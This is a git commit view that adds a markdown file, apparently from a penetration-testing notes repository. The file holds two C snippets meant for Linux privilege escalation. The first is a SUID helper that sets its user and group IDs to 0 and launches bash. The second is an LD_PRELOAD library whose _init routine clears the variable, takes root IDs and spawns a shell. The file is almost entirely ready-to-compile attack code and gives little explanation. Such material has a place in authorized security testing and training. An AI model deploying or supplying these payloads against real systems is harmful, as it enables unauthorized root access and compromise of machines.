first commit

This commit is contained in:
2025-11-21 17:17:42 +01:00
commit 4cad18c2a5
285 changed files with 122106 additions and 0 deletions
+29
View File
@@ -0,0 +1,29 @@
- Simple binary for SUID exploitation
```C
#include <unistd.h>
#include <err.h>
#include <stdio.h>
#include <sys/types.h>
int main(void) {
if (setuid(0) || setgid(0))
err(1, "setuid/setgid");
fputs("We are root! Cthulhu fhtagn!\n", stderr);
execl("/bin/bash", "bash", NULL);
err(1, "execl");
}
```
- Simple LD_PRELOAD privesc binary
```C
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
```